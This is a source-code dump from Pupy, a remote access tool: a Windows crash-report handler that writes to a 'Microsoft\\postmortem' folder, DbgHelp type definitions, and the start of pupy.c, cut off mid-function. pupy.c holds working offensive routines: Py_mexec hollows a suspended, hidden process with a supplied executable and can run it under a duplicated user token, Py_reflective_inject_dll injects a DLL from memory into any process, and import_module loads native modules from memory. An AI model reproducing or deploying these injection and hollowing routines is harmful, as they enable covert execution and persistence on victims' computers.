        }

        RtlVirtualUnwind(
          0,
          ImageBase,
          ContextRecord.Rip,
          pFunctionEntry,
          &ContextRecord,
          &HandlerData,
          &EstablisherFrame,
          NULL
        );

        BackTrace[usFrame] = (PVOID)ContextRecord.Rip;
    }

    return usFrame;
}
#endif

static
VOID SaveCallingStack(HANDLE hExceptionInfoFile)
{
    PVOID pvFrames[MAX_STACK_FRAMES];
    PVOID pvModuleBase;
    LPCSTR pcModuleName;
    USHORT usFrames = 0;
    USHORT usFrame;
    DWORD dwWritten;

    char buffer[1024];
    int buffer_len;

#ifdef _WIN64
    usFrames = GetBackTrace(
      MAX_STACK_FRAMES, pvFrames
    );
#else
    usFrames = CaptureStackBackTrace(
      0, MAX_STACK_FRAMES, pvFrames, NULL
    );
#endif

    for(usFrame = 0; usFrame < usFrames; usFrame ++) {

      if (MyFindMemoryModuleNameByAddr(
            pvFrames[usFrame], &pcModuleName, &pvModuleBase, NULL)) {
          buffer_len = snprintf(
            buffer,
            sizeof(buffer) - 1,
            "+ %u:\t[PC %p]\tMEM:%s+0x%x\n",
            usFrame,
            pvFrames[usFrame],
            pcModuleName,
            ((UINT_PTR) pvFrames[usFrame]) - ((UINT_PTR) pvModuleBase)
        );
      } else {
        HMODULE hSymbolModule;
        CHAR szModName[MAX_PATH];
        PCHAR pcModName = szModName;
        BOOL blFound = GetModuleHandleExA(
          GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
          (LPCSTR) pvFrames[usFrame],
          &hSymbolModule
        );

        if (blFound && GetModuleFileNameA(
            hSymbolModule, szModName, sizeof(szModName))) {

          PCHAR pcLastDm = strrchr(szModName, '\\');
          if (pcLastDm)
            pcModName = pcLastDm + 1;

          buffer_len = snprintf(
              buffer,
              sizeof(buffer) - 1,
              "+ %lu:\t[PC %p]\tSYS:%s+0x%x\n",
              usFrame, pvFrames[usFrame],
              pcModName,
              ((UINT_PTR)pvFrames[usFrame]) - ((UINT_PTR)hSymbolModule)
          );
        } else {
          buffer_len = snprintf(
              buffer,
              sizeof(buffer) - 1,
              "+ %lu:\t[PC %p]\t?\t\t\n",
              usFrame,
              pvFrames[usFrame]
          );
        }
      }

      if (buffer_len > 0)
        WriteFile(hExceptionInfoFile, buffer, buffer_len, &dwWritten, NULL);
    }
}

static
VOID WriteToFile(HANDLE hFile, LPCSTR lpcstr)
{
  DWORD dwWritten;
  WriteFile(hFile, lpcstr, strlen(lpcstr), &dwWritten, NULL);
}

static
VOID MyEnumerateLoadedLibraries(HANDLE hExceptionInfoFile)
{
  HMODULE hMods[1024];
  DWORD cbNeeded;
  DWORD dwWritten;
  unsigned int i;
  HANDLE hCurrentProcess = GetCurrentProcess();
  HANDLE hPsapi = LoadLibraryA("PSAPI.DLL");
  EnumProcessModules_t pEnumProcessModules = (EnumProcessModules_t)
    GetProcAddress(hPsapi, "EnumProcessModules");

  if (!pEnumProcessModules) {
    dprint("Couldn't find pEnumProcessModules\n");
    return;
  }

  if (!pEnumProcessModules(hCurrentProcess, hMods, sizeof(hMods), &cbNeeded)) {
    dprint("EnumProcessModules failed\n");
    return;
  }

  for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
      CHAR szModName[MAX_PATH];
      CHAR dll_info[MAX_PATH];
      int dll_info_len;

      memset(dll_info, 0x0, sizeof(dll_info));
      memset(szModName, 0x0, sizeof(dll_info));

      if (!GetModuleFileNameA(hMods[i], szModName, sizeof(szModName)))
        continue;

      dll_info_len = snprintf(
        dll_info, sizeof(dll_info) - 1,
        "+ %p\t%s\n", hMods[i], szModName
      );

      dprint(dll_info);

      if (dll_info_len > 0)
        WriteFile(hExceptionInfoFile, dll_info, dll_info_len, &dwWritten, NULL);
  }

  dprint("DLLs enumeration completed\n");
}

static
void SaveExceptionInfo(
    HMODULE hDbgHelp, LPCWSTR pwzFolder,
      EXCEPTION_POINTERS* pExceptionPointers) {

    HANDLE hExceptionInfoFile = INVALID_HANDLE_VALUE;
    WCHAR einfo_path[MAX_PATH];
    CHAR einfo_buf[8192];
    DWORD dwWritten;

    int einfo_buf_size;
    int pystack_saved;

    dprint("SaveExceptionInfo start..\n");

    if (!(pExceptionPointers && pExceptionPointers->ExceptionRecord
            && pExceptionPointers->ContextRecord)) {
      dprint("No exception info!\n");
    }

    _snwprintf(
      einfo_path, (sizeof(einfo_path) / 2) - 1,
      L"%s\\tmp_dump_%d.einfo", pwzFolder, GetCurrentProcessId()
    );

    dwprint(L"File with exception info: %s\n", einfo_path);

    hExceptionInfoFile = CreateFileW(
      einfo_path,
      FILE_APPEND_DATA,
      0, NULL,
      OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,
      NULL
    );

    if (hExceptionInfoFile == NULL || hExceptionInfoFile == INVALID_HANDLE_VALUE) {
      dprint("Failed to create exception info file\n");
      return;
    }

    if (pExceptionPointers) {
      einfo_buf_size = snprintf(
        einfo_buf, sizeof(einfo_buf) - 1,
        "\nCatch fatal exception: Code: %08x (%s)\n"
        "Flags: %08x Address: %p\n"
        "Registers:\n"

#ifdef _WIN64
        "RSP: %016x RBP: %016x RIP: %016x\n"
        "RAX: %016x RBX: %016x RCX: %016x RDX: %016x\n"
        "RSI: %016x RDI: %016x R8:  %016x R9:  %016x\n"
        "R10: %016x R11: %016x R12: %016x R13: %016x\n"
        "R14: %016x R15: %016x\n",
#else
        "ESP: %08x EBP: %08x EIP: %08x\n"
        "EAX: %08x EBX: %08x ECX: %08x EDX: %08x\n"
        "ESI: %08x EDI: %08x\n",
#endif

        pExceptionPointers->ExceptionRecord->ExceptionCode,
        code2str(pExceptionPointers->ExceptionRecord->ExceptionCode),
        pExceptionPointers->ExceptionRecord->ExceptionFlags,
        pExceptionPointers->ExceptionRecord->ExceptionAddress,

#ifdef _WIN64
        pExceptionPointers->ContextRecord->Rsp,
        pExceptionPointers->ContextRecord->Rbp,
        pExceptionPointers->ContextRecord->Rip,
        pExceptionPointers->ContextRecord->Rax,
        pExceptionPointers->ContextRecord->Rbx,
        pExceptionPointers->ContextRecord->Rcx,
        pExceptionPointers->ContextRecord->Rdx,
        pExceptionPointers->ContextRecord->Rsi,
        pExceptionPointers->ContextRecord->Rdi,
        pExceptionPointers->ContextRecord->R8,
        pExceptionPointers->ContextRecord->R9,
        pExceptionPointers->ContextRecord->R10,
        pExceptionPointers->ContextRecord->R11,
        pExceptionPointers->ContextRecord->R12,
        pExceptionPointers->ContextRecord->R13,
        pExceptionPointers->ContextRecord->R14,
        pExceptionPointers->ContextRecord->R15
#else
        pExceptionPointers->ContextRecord->Esp,
        pExceptionPointers->ContextRecord->Ebp,
        pExceptionPointers->ContextRecord->Eip,
        pExceptionPointers->ContextRecord->Eax,
        pExceptionPointers->ContextRecord->Ebx,
        pExceptionPointers->ContextRecord->Ecx,
        pExceptionPointers->ContextRecord->Edx,
        pExceptionPointers->ContextRecord->Esi,
        pExceptionPointers->ContextRecord->Edi
#endif
      );

      if (einfo_buf_size > 0)
        WriteFile(
          hExceptionInfoFile, einfo_buf, einfo_buf_size, &dwWritten, NULL
        );
    } else {
        static const char no_exception_header[] = "\nNon-exception crash report\n";
        DWORD dwWritten = 0;

        WriteFile(
          hExceptionInfoFile, no_exception_header, sizeof(no_exception_header)-1,
          &dwWritten, NULL
        );
    }

    dprint("Enumerating libraries..\n");
    WriteToFile(hExceptionInfoFile, "\nMemory modules:\n");
    MyEnumerateLibraries(SaveLibraryInfo, (PVOID) hExceptionInfoFile);

    WriteToFile(hExceptionInfoFile, "\nNormal modules:\n");
    MyEnumerateLoadedLibraries(hExceptionInfoFile);

    dprint("Generating stack trace ..\n");

    if (pExceptionPointers) {
      if (hDbgHelp) {
        WriteToFile(hExceptionInfoFile, "\nException Stack trace:\n");
        SaveContextStack(
          hDbgHelp, hExceptionInfoFile, pExceptionPointers->ContextRecord
        );
      } else {
        WriteToFile(
          hExceptionInfoFile,
          "\nFailed to save Exception Stack trace: DBGHELP not found\n"
        );
      }
    } else {
      WriteToFile(hExceptionInfoFile, "\nCurrent stack trace:\n");
      SaveCallingStack(hExceptionInfoFile);
    }

    dprint("Try to save python stack\n");
    WriteToFile(hExceptionInfoFile, "\nCurrent Python stacks (if any):\n");

    pystack_saved = Py_GetCurrentThreadStackTrace(
      SavePythonStackTrace, (PVOID) hExceptionInfoFile
    );

    dprint("Exception info saved (python=%d)\n", pystack_saved);
    CloseHandle(hExceptionInfoFile);
}

LONG WINAPI Postmortem(PEXCEPTION_POINTERS pExceptionPointers)
{
  WCHAR appdata_local[MAX_PATH];
  HMODULE hShell32 = LoadLibraryA("SHELL32.DLL");
  HMODULE hDbgHelp = LoadLibraryA("DBGHELP.DLL");

  SHGetFolderPathAndSubDirW_t pSHGetFolderPathAndSubDirW = NULL;

  if (pExceptionPointers && pExceptionPointers->ExceptionRecord) {
    dprint(
      "Catch fatal exception: Code: %08x (%s) Flags: %08x Address: %p\n",
      pExceptionPointers->ExceptionRecord->ExceptionCode,
      code2str(pExceptionPointers->ExceptionRecord->ExceptionCode),
      pExceptionPointers->ExceptionRecord->ExceptionFlags,
      pExceptionPointers->ExceptionRecord->ExceptionAddress
    );
  } else {
      dprint("Non-exception postmortem call\n");
      pExceptionPointers = NULL;
  }

  if (hShell32)
    pSHGetFolderPathAndSubDirW = (SHGetFolderPathAndSubDirW_t) GetProcAddress(
        hShell32, "SHGetFolderPathAndSubDirW");

  if (!pSHGetFolderPathAndSubDirW) {
    dprint("Failed to find SHGetFolderPathAndSubDirW (SHELL32.DLL AT %p)\n", hShell32);
    if (GetTempPathW(sizeof(appdata_local)/sizeof(WCHAR), appdata_local) < 1)
      return EXCEPTION_CONTINUE_SEARCH;
  }

  dprint("Creating folder for exception info\n");

  if (!SUCCEEDED(pSHGetFolderPathAndSubDirW(
          NULL, CSIDL_LOCAL_APPDATA | CSIDL_FLAG_CREATE, NULL,
          0, POSTMORTEM_DEST_FOLDER, appdata_local)))
  {
      dprint("Failed to create exception info folder\n");
      return EXCEPTION_CONTINUE_SEARCH;
  }

  dwprint(L"Folder created: %s\n", appdata_local);

  dprint("Generating crash context info..\n");
  SaveExceptionInfo(hDbgHelp, appdata_local, pExceptionPointers);
  dprint("Crash context saved\n");

#ifdef DEBUG
  if (pExceptionPointers) {
    if (hDbgHelp) {
      dprint("Generating minidump...\n");
      CreateMiniDump(hDbgHelp, appdata_local, pExceptionPointers);
    } else {
      dprint("Failed to load DBGHELP\n");
    }
  }
#endif

  dprint("Postmortem exception filter completed\n");
  return EXCEPTION_CONTINUE_SEARCH;
}

void EnableCrashingOnCrashes()
{
  static const DWORD EXCEPTION_SWALLOWING = 0x1;

  const HMODULE kernel32 = LoadLibraryA("kernel32.dll");

  const tGetPolicy pGetPolicy = (tGetPolicy) GetProcAddress(
    kernel32, "GetProcessUserModeExceptionPolicy");

  const tSetPolicy pSetPolicy = (tSetPolicy) GetProcAddress(
    kernel32, "SetProcessUserModeExceptionPolicy");

  if(pGetPolicy && pSetPolicy) {
    DWORD dwFlags = 0;
    dprint("EnableCrashingOnCrashes: ProcessUserModeExceptionPolicy found\n");
    if(pGetPolicy(&dwFlags)) {
      dprint("EnableCrashingOnCrashes: default policy: %08x\n", dwFlags);
      pSetPolicy(dwFlags & ~EXCEPTION_SWALLOWING);
    }
  }
}


================================================
FILE: client/sources-windows-py3/postmortem.h
================================================
#ifndef POSTMORTEM_H_
#define POSTMORTEM_H_

#include <windows.h>

#ifndef POSTMORTEM_DEST_FOLDER
#define POSTMORTEM_DEST_FOLDER L"Microsoft\\postmortem"
#endif

#pragma pack(push, 4)

typedef enum {
    AddrMode1616,
    AddrMode1632,
    AddrModeReal,
    AddrModeFlat
} ADDRESS_MODE;

typedef struct _IMAGEHLP_SYMBOL64 {
  DWORD   SizeOfStruct;
  DWORD64 Address;
  DWORD   Size;
  DWORD   Flags;
  DWORD   MaxNameLength;
  CHAR    Name[1];
} IMAGEHLP_SYMBOL64, *PIMAGEHLP_SYMBOL64;

typedef struct _IMAGEHLP_SYMBOL {
  DWORD SizeOfStruct;
  DWORD Address;
  DWORD Size;
  DWORD Flags;
  DWORD MaxNameLength;
  CHAR  Name[1];
} IMAGEHLP_SYMBOL, *PIMAGEHLP_SYMBOL;

typedef struct _IMAGEHLP_SYMBOL_STORAGE64 {
    IMAGEHLP_SYMBOL64 symbol;
  CHAR NameStorage[512];
} IMAGEHLP_SYMBOL_STORAGE64;

typedef struct _IMAGEHLP_SYMBOL_STORAGE {
  IMAGEHLP_SYMBOL symbol;
  CHAR NameStorage[512];
} IMAGEHLP_SYMBOL_STORAGE;

typedef struct _tagADDRESS {
  DWORD        Offset;
  WORD         Segment;
  ADDRESS_MODE Mode;
} ADDRESS, *LPADDRESS;

typedef struct _tagADDRESS64 {
  DWORD64      Offset;
  WORD         Segment;
  ADDRESS_MODE Mode;
} ADDRESS64, *LPADDRESS64;

typedef struct _KDHELP64 {
  DWORD64 Thread;
  DWORD   ThCallbackStack;
  DWORD   ThCallbackBStore;
  DWORD   NextCallback;
  DWORD   FramePointer;
  DWORD64 KiCallUserMode;
  DWORD64 KeUserCallbackDispatcher;
  DWORD64 SystemRangeStart;
  DWORD64 KiUserExceptionDispatcher;
  DWORD64 StackBase;
  DWORD64 StackLimit;
  DWORD   BuildVersion;
  DWORD   RetpolineStubFunctionTableSize;
  DWORD64 RetpolineStubFunctionTable;
  DWORD   RetpolineStubOffset;
  DWORD   RetpolineStubSize;
  DWORD64 Reserved0[2];
} KDHELP64, *PKDHELP64;

typedef struct _tagSTACKFRAME64 {
  ADDRESS64 AddrPC;
  ADDRESS64 AddrReturn;
  ADDRESS64 AddrFrame;
  ADDRESS64 AddrStack;
  ADDRESS64 AddrBStore;
  PVOID     FuncTableEntry;
  DWORD64   Params[4];
  BOOL      Far;
  BOOL      Virtual;
  DWORD64   Reserved[3];
  KDHELP64  KdHelp;
} STACKFRAME64, *LPSTACKFRAME64;

typedef struct _KDHELP {
  DWORD Thread;
  DWORD ThCallbackStack;
  DWORD NextCallback;
  DWORD FramePointer;
  DWORD KiCallUserMode;
  DWORD KeUserCallbackDispatcher;
  DWORD SystemRangeStart;
  DWORD ThCallbackBStore;
  DWORD KiUserExceptionDispatcher;
  DWORD StackBase;
  DWORD StackLimit;
  DWORD Reserved[5];
} KDHELP, *PKDHELP;

typedef struct _tagSTACKFRAME {
  ADDRESS AddrPC;
  ADDRESS AddrReturn;
  ADDRESS AddrFrame;
  ADDRESS AddrStack;
  PVOID   FuncTableEntry;
  DWORD   Params[4];
  BOOL    Far;
  BOOL    Virtual;
  DWORD   Reserved[3];
  KDHELP  KdHelp;
  ADDRESS AddrBStore;
} STACKFRAME, *LPSTACKFRAME;

typedef struct _MINIDUMP_EXCEPTION_INFORMATION {
  DWORD               ThreadId;
  PEXCEPTION_POINTERS ExceptionPointers;
  BOOL                ClientPointers;
} MINIDUMP_EXCEPTION_INFORMATION, *PMINIDUMP_EXCEPTION_INFORMATION;
#pragma pack(pop)

typedef enum _MINIDUMP_TYPE {
  MiniDumpNormal,
  MiniDumpWithDataSegs,
  MiniDumpWithFullMemory,
  MiniDumpWithHandleData,
  MiniDumpFilterMemory,
  MiniDumpScanMemory,
  MiniDumpWithUnloadedModules,
  MiniDumpWithIndirectlyReferencedMemory,
  MiniDumpFilterModulePaths,
  MiniDumpWithProcessThreadData,
  MiniDumpWithPrivateReadWriteMemory,
  MiniDumpWithoutOptionalData,
  MiniDumpWithFullMemoryInfo,
  MiniDumpWithThreadInfo,
  MiniDumpWithCodeSegs,
  MiniDumpWithoutAuxiliaryState,
  MiniDumpWithFullAuxiliaryState,
  MiniDumpWithPrivateWriteCopyMemory,
  MiniDumpIgnoreInaccessibleMemory,
  MiniDumpWithTokenInformation,
  MiniDumpWithModuleHeaders,
  MiniDumpFilterTriage,
  MiniDumpWithAvxXStateContext,
  MiniDumpWithIptTrace,
  MiniDumpScanInaccessiblePartialPages,
  MiniDumpValidTypeFlags
} MINIDUMP_TYPE;

typedef BOOL (*MiniDumpWriteDump_t)(
    HANDLE hProcess,
    DWORD ProcessId,
    HANDLE hFile,
    MINIDUMP_TYPE DumpType,
    PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
    PVOID UserStreamParam,
    PVOID CallbackParam
);

#define SYMOPT_CASE_INSENSITIVE 0x00000001
#define SYMOPT_UNDNAME 0x00000002
#define SYMOPT_DEFERRED_LOADS 0x00000004
#define SYMOPT_NO_CPP 0x00000008
#define SYMOPT_LOAD_LINES 0x00000010
#define SYMOPT_OMAP_FIND_NEAREST 0x00000020
#define SYMOPT_LOAD_ANYTHING 0x00000040
#define SYMOPT_IGNORE_CVREC 0x00000080
#define SYMOPT_NO_UNQUALIFIED_LOADS 0x00000100
#define SYMOPT_FAIL_CRITICAL_ERRORS 0x00000200
#define SYMOPT_EXACT_SYMBOLS 0x00000400
#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x00000800
#define SYMOPT_IGNORE_NT_SYMPATH 0x00001000
#define SYMOPT_INCLUDE_32BIT_MODULES 0x00002000
#define SYMOPT_PUBLICS_ONLY 0x00004000
#define SYMOPT_NO_PUBLICS 0x00008000
#define SYMOPT_AUTO_PUBLICS 0x00010000
#define SYMOPT_NO_IMAGE_SEARCH 0x00020000
#define SYMOPT_SECURE 0x00040000
#define SYMOPT_NO_PROMPTS 0x00080000
#define SYMOPT_ALLOW_ZERO_ADDRESS 0x01000000
#define SYMOPT_DISABLE_SYMSRV_AUTODETECT 0x02000000
#define SYMOPT_FAVOR_COMPRESSED 0x00800000
#define SYMOPT_FLAT_DIRECTORY 0x00400000
#define SYMOPT_IGNORE_IMAGEDIR 0x00200000
#define SYMOPT_OVERWRITE 0x00100000

#define SYMOPT_DEBUG 0x80000000

#ifdef _WIN64
#define MAX_STACK_FRAMES 256
#else
#define MAX_STACK_FRAMES 63
#endif

LONG WINAPI Postmortem(PEXCEPTION_POINTERS pExceptionInfo);
void EnableCrashingOnCrashes(void);

#endif


================================================
FILE: client/sources-windows-py3/pupy.c
================================================
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/

#include <windows.h>
#include <stdio.h>

#ifdef _PUPY_DYNLOAD
#define PY_SSIZE_T_CLEAN
#include <Python.h>

#else
#include "Python-dynload.h"
#endif

#include "debug.h"
#include "MyLoadLibrary.h"
#include "base_inject.h"
#include "in-mem-exe.c"

#include "pupy_load.h"

static char module_doc[] = DOC("Builtins utilities for pupy");

#ifndef UINTPTR
 #ifndef _WIN32
   typedef DWORD UINTPTR;
 #else
   typedef ULONGLONG UINTPTR;
 #endif
#endif

static PyObject *ExecError;

#include "revision.h"

static HINSTANCE hAppInstance = NULL;
static PyObject *Py_on_exit_session_callback = NULL;
static int is_shared = 0;

void on_exit_session(void) {
    PyGILState_STATE gstate;
    PyObject * pResult;

    dprint(
        "pupy:on_exit_session called, current callback: %p\n",
        Py_on_exit_session_callback);

    if (!Py_on_exit_session_callback)
        return;

    gstate = PyGILState_Ensure();
    pResult = PyObject_CallObject(Py_on_exit_session_callback, NULL);
    PyGILState_Release(gstate);
}

static PyObject *Py_set_exit_session_callback(PyObject *self, PyObject *args)
{
        PyObject *old = Py_on_exit_session_callback;

        if (!PyArg_ParseTuple(args, "O", &Py_on_exit_session_callback))
                return NULL;

        Py_XINCREF(Py_on_exit_session_callback);
        Py_XDECREF(old);

        return PyBool_FromLong(1);
}

static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{
#ifdef _WIN64
        return Py_BuildValue("s", "x64");
#else
        return Py_BuildValue("s", "x86");
#endif
}

static PyObject *Py_mexec(PyObject *self, PyObject *args) {
        PROCESS_INFORMATION pi;
        STARTUPINFO si;
        SECURITY_ATTRIBUTES saAttr = {
                sizeof(SECURITY_ATTRIBUTES),
                NULL,
                TRUE
        };

        HANDLE g_hChildStd_IN_Rd = NULL;
        HANDLE g_hChildStd_IN_Wr = NULL;
        HANDLE g_hChildStd_OUT_Rd = NULL;
        HANDLE g_hChildStd_OUT_Wr = NULL;
        BOOL inherit = FALSE;
        PyObject* py_redirect_stdio = NULL;
        PyObject* py_hidden = NULL;
        DWORD createFlags = CREATE_SUSPENDED|CREATE_NEW_CONSOLE;
        PyObject* py_cmdline = NULL;
        char *pe_raw_bytes;
        int pe_raw_bytes_len;

#ifdef _WIN64
        long long dupHandleAddressPLL = 0;
        void **dupHandleAddress = NULL;
        HANDLE dupHandle = NULL;

        if (!PyArg_ParseTuple(
                        args,
                        "Os#|OOK",
                        &py_cmdline, &pe_raw_bytes, &pe_raw_bytes_len,
                        &py_redirect_stdio, &py_hidden, &dupHandleAddressPLL))
                // the address of the handle is directly passed with ctypes
                return NULL;

        dupHandleAddress = (void **) ((DWORD_PTR) dupHandleAddressPLL);
#else
        PVOID dupHandleAddress = NULL;
        HANDLE dupHandle = NULL;

        if (!PyArg_ParseTuple(
                        args,
                        "Os#|OOI",
                        &py_cmdline, &pe_raw_bytes, &pe_raw_bytes_len,
                        &py_redirect_stdio, &py_hidden, &dupHandleAddress))
                // the address of the handle is directly passed with ctypes
                return NULL;
#endif

        if (!(PyUnicode_Check(py_cmdline))) {
                return PyErr_Format(
                        PyExc_Exception, "cmdline must be unicode"
                );
        }

        memset(&si,0,sizeof(STARTUPINFO));
        memset(&pi,0,sizeof(PROCESS_INFORMATION));
        si.cb = sizeof(STARTUPINFO);

        if(py_hidden && PyObject_IsTrue(py_hidden)){
                si.dwFlags |= STARTF_USESHOWWINDOW;
                si.wShowWindow = SW_HIDE;
                createFlags |= CREATE_NO_WINDOW;
        }

        if (!py_redirect_stdio || PyObject_IsTrue(py_redirect_stdio)) {
                if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) {
                        return PyErr_Format(PyExc_Exception, "Error in CreatePipe (IN): Errno %d", GetLastError());
                }

                if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) {
                        CloseHandle(g_hChildStd_IN_Rd);
                        CloseHandle(g_hChildStd_IN_Wr);
                        return PyErr_Format(PyExc_Exception, "Error in CreatePipe (OUT): Errno %d", GetLastError());
                }

                si.hStdInput  = g_hChildStd_IN_Rd;
                si.hStdOutput = g_hChildStd_OUT_Wr;
                si.hStdError  = g_hChildStd_OUT_Wr;
                si.dwFlags   |= STARTF_USESTDHANDLES;
                inherit=TRUE;
        }

        if (!dupHandleAddress) {
                BOOL blCreated;
                if (PyUnicode_Check(py_cmdline)) {
                        size_t wsize = PyUnicode_GetSize(py_cmdline) + 1;
                        size_t size = wsize * sizeof(wchar_t);

                        wchar_t *tmpstr = malloc(size);
                        RtlZeroMemory(tmpstr, size);

                        dprint("Py_mexec::unicode cmdline, size=%d\n", wsize);

                        PyUnicode_AsWideChar(py_cmdline, tmpstr, wsize);
                        blCreated = CreateProcessW(
                                NULL, tmpstr,
                                &saAttr, NULL, inherit,
                                createFlags, NULL, NULL, &si, &pi
                        );
                        free(tmpstr);
                } else {
                        dprint("Py_mexec::char cmdline\n");

                        blCreated = CreateProcessA(
                                NULL, PyUnicode_AsUTF8String(py_cmdline),
                                &saAttr, NULL, inherit,
                                createFlags, NULL, NULL, &si, &pi
                        );
                }

                if(!blCreated) {
                        CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);
                        CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);

                        return PyErr_Format(
                                PyExc_Exception, "Error in CreateProcess: Errno %d",
                                GetLastError()
                        );
                }

        } else {
                BOOL blCreated;
                dupHandle=(HANDLE) dupHandleAddress;

                if (PyUnicode_Check(py_cmdline)) {
                        size_t wsize = PyUnicode_GetSize(py_cmdline) + 1;
                        size_t size = wsize * sizeof(wchar_t);

                        wchar_t *tmpstr = malloc(size);

                        RtlZeroMemory(tmpstr, size);

                        PyUnicode_AsWideChar(py_cmdline, tmpstr, wsize);
                        blCreated = CreateProcessAsUserW(
                                dupHandle, NULL, tmpstr, &saAttr,
                                NULL, inherit, createFlags, NULL, NULL, &si, &pi
                        );
                        free(tmpstr);
                } else {
                        blCreated = CreateProcessAsUserA(
                                dupHandle, NULL, PyUnicode_AsUTF8String(py_cmdline), &saAttr,
                                NULL, inherit, createFlags, NULL, NULL, &si, &pi
                        );
                }

                if (!blCreated) {
                        CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);
                        CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);

                        return PyErr_Format(
                                PyExc_Exception, "Error in CreateProcess: Errno %d dupHandle %x", GetLastError(),
                                dupHandle
                        );
                }
        }

        CloseHandle(g_hChildStd_IN_Rd);
        CloseHandle(g_hChildStd_OUT_Wr);

        if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, pe_raw_bytes)) {
                DWORD dwErrno = GetLastError();

                TerminateProcess(pi.hProcess, 1);
                CloseHandle(pi.hProcess);
                CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);
                CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);
                return PyErr_Format(
                        PyExc_Exception,
                        "Error in MapNewExecutableRegionInProcess: Errno %d",
                        dwErrno
                );
        }

        if (ResumeThread(pi.hThread) == (DWORD)-1) {
                TerminateProcess(pi.hProcess, 1);
                CloseHandle(pi.hProcess);
                CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);
                CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);
                return PyErr_Format(
                        PyExc_Exception,
                        "Error in ResumeThread: Errno %d", GetLastError()
                );
        }

        CloseHandle(pi.hThread);

        return Py_BuildValue("(III)", pi.hProcess, g_hChildStd_IN_Wr, g_hChildStd_OUT_Rd);
}


static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
{
        DWORD dwPid;
        const char *lpDllBuffer;
        DWORD dwDllLenght;
        const char *cpCommandLine;
        PyObject* py_is64bit;
        int is64bits;
        if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))
                return NULL;
        is64bits = PyObject_IsTrue(py_is64bit);
        if(is64bits){
                is64bits=PROCESS_ARCH_X64;
        }else{
                is64bits=PROCESS_ARCH_X86;
        }
        if(dwPid == 0) {
            return PyErr_Format(
                    PyExc_Exception,
                    "Cannot inject in pid %d", dwPid
            );
        }
        if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS)
                return NULL;
        return PyBool_FromLong(1);
}

static PyObject *Py_load_dll(PyObject *self, PyObject *args)
{
        DWORD dwPid;
        const char *lpDllBuffer;
        DWORD dwDllLenght;

        const char *dllname;
        if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
                return NULL;

        return PyLong_FromVoidPtr(MyLoadLibrary(dllname, lpDllBuffer, NULL));
}

static PyObject *Py_find_function_address(PyObject *self, PyObject *args)
{
        const char *lpDllName = NULL;
        const char *lpFuncName = NULL;
        void *address = NULL;

        if (PyArg_ParseTuple(args, "ss", &lpDllName, &lpFuncName)) {
                address = MyFindProcAddress(lpDllName, lpFuncName);
        }

        return PyLong_FromVoidPtr(address);
}

static PyObject *Py_is_shared_object(PyObject *self, PyObject *args)
{
        return PyBool_FromLong(is_shared);
}

static PyObject *Py_set_is_shared_object(PyObject *self, PyObject *arg0)
{
        if (!is_shared && PyObject_IsTrue(arg0))
                is_shared = 1;

        return PyBool_FromLong(is_shared);
}

static PyObject *
import_module(PyObject *self, PyObject *args)
{
        char *data;
        Py_ssize_t size;
        char *initfuncname;
        char *modname;
        char *pathname;
        //HMEMORYMODULE hmem;
        HMODULE hmem;
        FARPROC do_init;

        ULONG_PTR cookie = 0;
        char *oldcontext;
        
        PyObject *dataobj;
        PyObject *spec;
        if (!PyArg_ParseTuple(args, "SsssO:import_module",
                              &dataobj,
                              &initfuncname, &modname, &pathname, &spec)) {
            dprint("error in PyArg_ParseTuple()\n");
            return NULL;
        }

        if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) {
                PyErr_Format(PyExc_ImportError,
                             "cannot convert bytes to char * : %s (err=%d)",
                                 pathname, GetLastError());
                return NULL;

        }
        dprint(
                "import_module(name=%s size=%d ptr=%p)\n",
                pathname, size, data);

        //try some windows manifest magic...
        cookie = _My_ActivateActCtx();
        hmem = MyLoadLibrary(pathname, data, NULL);
        _My_DeactivateActCtx(cookie);

        if (!hmem) {
                PyErr_Format(PyExc_ImportError,
                             "MemoryLoadLibrary failed loading %s (err=%d)",
                                 pathname, GetLastError());
                return NULL;
        }

        do_init = MyGetProcAddress(hmem, initfuncname);
        if (!do_init) {
                MyFreeLibrary(hmem);
                PyErr_Format(PyExc_ImportError,
                             "Could not find function %s", initfuncname);
                return NULL;
        }

        oldcontext = _Py_PackageContext;

        _Py_PackageContext = modname;
        PyObject *m = do_init();
        _Py_PackageContext = oldcontext;

        // multi phase init
        if (PyObject_TypeCheck(m, &PyModuleDef_Type)) {
            struct PyModuleDef *def;
            PyObject *state;

            m = PyModule_FromDefAndSpec((PyModuleDef*)m, spec);
            def = PyModule_GetDef(m);
            state = PyModule_GetState(m);
            if (state == NULL) {
                PyModule_ExecDef(m, def);
            }
            return m;
        }

        PyObject *modules = NULL;
        modules = PyImport_GetModuleDict();
        PyObject *name = PyUnicode_FromString(modname);
        _PyImport_FixupExtensionObject(m, name, name, modules);

        Py_DECREF(name);

        if (PyErr_Occurred()) {
            dprint("error at the end\n");
                return NULL;
        }

